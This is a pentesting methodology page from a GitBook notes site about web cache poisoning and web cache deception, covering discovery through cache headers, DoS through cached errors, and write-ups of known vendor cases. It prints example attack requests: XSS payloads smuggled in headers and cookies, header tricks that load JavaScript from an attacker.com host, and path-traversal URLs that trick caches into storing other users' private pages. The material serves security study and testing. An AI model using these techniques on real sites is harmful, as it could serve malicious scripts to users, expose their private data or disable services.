#@ck3r
  • Welcome
  • Administrator
    • ActiveDirectory
      • Methodology
    • LDAP
    • Kerberos
  • HTB_CTF
    • It's Oops PM
  • 🕸️ Pentesting Web
    • Web Vulnerabilities Methodology
      • Reflecting Techniques - PoCs and Polygloths CheatSheet
        • Web Vulns List
    • 2FA/MFA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning via URL discrepancies
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
    • Cookies Hacking
      • Cookie Tossing
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
  • Dangling Markup - HTML scriptless injection
  • Dependency Confusion
  • Deserialization
    • NodeJS - __proto__ & prototype Pollution
      • Client Side Prototype Pollution
      • Express Prototype Pollution Gadgets
      • Prototype Pollution to RCE
    • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
    • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
    • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
    • Exploiting __VIEWSTATE without knowing the secrets
    • Python Yaml Deserialization
    • JNDI - Java Naming and Directory Interface & Log4Shell
    • Ruby Class Pollution
  • Page 1
Powered by GitBook
On this page
  • The difference
  • Cache Poisoning
  • Exploiting Examples
  • Vulnerable Examples
  • Cache Deception
  • Automatic Tools
  • References
  1. 🕸️ Pentesting Web

Cache Poisoning and Cache Deception

PreviousCaptcha BypassNextCache Poisoning via URL discrepancies

Last updated 3 months ago

What is the difference between web cache poisoning and web cache deception?

  • In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.

  • In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.

Cache poisoning is aimed at manipulating the client-side cache to force clients to load resources that are unexpected, partial, or under the control of an attacker. The extent of the impact is contingent on the popularity of the affected page, as the tainted response is served exclusively to users visiting the page during the period of cache contamination.

The execution of a cache poisoning assault involves several steps:

  1. Identification of Unkeyed Inputs: These are parameters that, although not required for a request to be cached, can alter the response returned by the server. Identifying these inputs is crucial as they can be exploited to manipulate the cache.

  2. Exploitation of the Unkeyed Inputs: After identifying the unkeyed inputs, the next step involves figuring out how to misuse these parameters to modify the server's response in a way that benefits the attacker.

  3. Ensuring the Poisoned Response is Cached: The final step is to ensure that the manipulated response is stored in the cache. This way, any user accessing the affected page while the cache is poisoned will receive the tainted response.

Usually, when a response was stored in the cache there will be a header indicating so, you can check which headers you should pay attention to in this post: .

If you are thinking that the response is being stored in a cache, you could try to send requests with a bad header, which should be responded to with a status code 400. Then try to access the request normally and if the response is a 400 status code, you know it's vulnerable (and you could even perform a DoS).

You can find more options in:

However, note that sometimes these kinds of status codes aren't cached so this test could not be reliable.

html

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

With the parameter/header identified check how it is being sanitised and where is it getting reflected or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...)

Once you have identified the page that can be abused, which parameter/header to use and how to abuse it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds.

The header X-Cache in the response could be very useful as it may have the value miss when the request wasn't cached and the value hit when it is cached. The header Cache-Control is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: Cache-Control: public, max-age=1800

Another interesting header is Vary. This header is often used to indicate additional headers that are treated as part of the cache key even if they are normally unkeyed. Therefore, if the user knows the User-Agent of the victim he is targeting, he can poison the cache for the users using that specific User-Agent.

One more header related to the cache is Age. It defines the times in seconds the object has been in the proxy cache.

When caching a request, be careful with the headers you use because some of them could be used unexpectedly as keyed and the victim will need to use that same header. Always test a Cache Poisoning with different browsers to check if it's working.

A header like X-Forwarded-For is being reflected in the response unsanitized. You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed:

html

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Note that this will poison a request to /en?region=uk not to /en

Cookies could also be reflected on the response of a page. If you can abuse it to cause a XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response.

html

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.

Check:

This is also explained better in:

Sometimes you will need to exploit several unkeyed inputs to be able to abuse a cache. For example, you may find an Open redirect if you set X-Forwarded-Host to a domain controlled by you and X-Forwarded-Scheme to http.If the server is forwarding all the HTTP requests to HTTPS and using the header X-Forwarded-Scheme as the domain name for the redirect. You can control where the page is pointed by the redirect.

html

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

If you found that the X-Host header is being used as domain name to load a JS resource but the Vary header in the response is indicating User-Agent. Then, you need to find a way to exfiltrate the User-Agent of the victim and poison the cache using that user agent:

html

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Send a GET request with the request in the URL and in the body. If the web server uses the one from the body but the cache server caches the one from the URL, anyone accessing that URL will actually use the parameter from the body. Like the vuln James Kettle found at the Github website:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

For example it's possible to separate parameters in ruby servers using the char ; instead of &. This could be used to put unkeyed parameters values inside keyed ones and abuse them.

Example usage: wcvs -u example.com

ATS forwarded the fragment inside the URL without stripping it and generated the cache key only using the host, path and query (ignoring the fragment). So the request /#/../?r=javascript:alert(1) was sent to the backend as /#/../?r=javascript:alert(1) and the cache key didn't have the payload inside of it, only host, path and query.

Sending a bad value in the content-type header triggered a 405 cached response. The cache key contained the cookie so it was possible only to attack unauth users.

GitLab uses GCP buckets to store static content. GCP Buckets support the header x-http-method-override. So it was possible to send the header x-http-method-override: HEAD and poison the cache into returning an empty response body. It could also support the method PURGE.

In Ruby on Rails applications, Rack middleware is often utilized. The purpose of the Rack code is to take the value of the x-forwarded-scheme header and set it as the request's scheme. When the header x-forwarded-scheme: http is sent, a 301 redirect to the same location occurs, potentially causing a Denial of Service (DoS) to that resource. Additionally, the application might acknowledge the X-forwarded-host header and redirect users to the specified host. This behavior can lead to the loading of JavaScript files from an attacker's server, posing a security risk.

Cloudflare previously cached 403 responses. Attempting to access S3 or Azure Storage Blobs with incorrect Authorization headers would result in a 403 response that got cached. Although Cloudflare has stopped caching 403 responses, this behavior might still be present in other proxy services.

Caches often include specific GET parameters in the cache key. For instance, Fastly's Varnish cached the size parameter in requests. However, if a URL-encoded version of the parameter (e.g., siz%65) was also sent with an erroneous value, the cache key would be constructed using the correct size parameter. Yet, the backend would process the value in the URL-encoded parameter. URL-encoding the second size parameter led to its omission by the cache but its utilization by the backend. Assigning a value of 0 to this parameter resulted in a cacheable 400 Bad Request error.

Some developers block requests with user-agents matching those of high-traffic tools like FFUF or Nuclei to manage server load. Ironically, this approach can introduce vulnerabilities such as cache poisoning and DoS.

The goal of Cache Deception is to make clients load resources that are going to be saved by the cache with their sensitive information.

First of all note that extensions such as .css, .js, .png etc are usually configured to be saved in the cache. Therefore, if you access www.example.com/profile.php/nonexistent.js the cache will probably store the response because it sees the .js extension. But, if the application is replaying with the sensitive user contents stored in www.example.com/profile.php, you can steal those contents from other users.

Other things to test:

  • www.example.com/profile.php/.js

  • www.example.com/profile.php/.css

  • www.example.com/profile.php/test.js

  • www.example.com/profile.php/../test.js

  • www.example.com/profile.php/%2e%2e/test.js

  • Use lesser known extensions such as .avif

Note that the cache proxy should be configured to cache files based on the extension of the file (.css) and not base on the content-type. In the example http://www.example.com/home.php/non-existent.css will have a text/html content-type instead of a text/css mime type (which is the expected for a .css file).

You could use to brute-force parameters and headers that may be changing the response of the page. For example, a page may be using the header X-Forwarded-For to indicate the client to load the script from there:

how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 because anything matching /share/* will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.

There it a portswigger lab about this:

Portswigger lab:

Learn here about how to perform .

The can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable.

)

The specifies the acceptable characters in header names. Headers containing characters outside of the specified tchar range should ideally trigger a 400 Bad Request response. In practice, servers don't always adhere to this standard. A notable example is Akamai, which forwards headers with invalid characters and caches any 400 error, as long as the cache-control header is not present. An exploitable pattern was identified where sending a header with an illegal character, such as \, would result in a cacheable 400 Bad Request error.

Another very clear example can be found in this write-up: . In the example, it is explained that if you load a non-existent page like http://www.example.com/home.php/non-existent.css the content of http://www.example.com/home.php (with the user's sensitive information) is going to be returned and the cache server is going to save the result. Then, the attacker can access http://www.example.com/home.php/non-existent.css in their own browser and observe the confidential information of the users that accessed before.

Learn here about how to perform.

: Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.

The difference
Cache Poisoning
Discovery: Check HTTP headers
HTTP Cache headers
Discovery: Caching error codes
Cache Poisoning to DoS
Discovery: Identify and evaluate unkeyed inputs
Param Miner
Elicit a harmful response from the back-end server
Get the response cached
Exploiting Examples
Easiest example
Cache poisoning to DoS
Cache Poisoning to DoS
Using web cache poisoning to exploit cookie-handling vulnerabilities
Generating discrepancies with delimiters, normalization and dots
Cache Poisoning via URL discrepancies
Cache poisoning with path traversal to steal API key
This writeup explains
Cache Poisoning via URL discrepancies
Using multiple headers to exploit web cache poisoning vulnerabilities
Exploiting with limited Varyheader
Fat Get
https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Cache Poisoning attacks by abusing HTTP Request Smuggling
Automated testing for Web Cache Poisoning
Web Cache Vulnerability Scanner
Vulnerable Examples
Apache Traffic Server (
CVE-2021-27577
GitHub CP-DoS
GitLab + GCP CP-DoS
Rack Middleware (Ruby on Rails)
403 and Storage Buckets
Injecting Keyed Parameters
User Agent Rules
Illegal Header Fields
RFC7230
Finding new headers
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
https://hackerone.com/reports/593712
Cache Deceptions attacks abusing HTTP Request Smuggling
Automatic Tools
toxicache
References
https://portswigger.net/web-security/web-cache-poisoning
https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
https://hackerone.com/reports/593712
https://youst.in/posts/cache-poisoning-at-scale/
https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/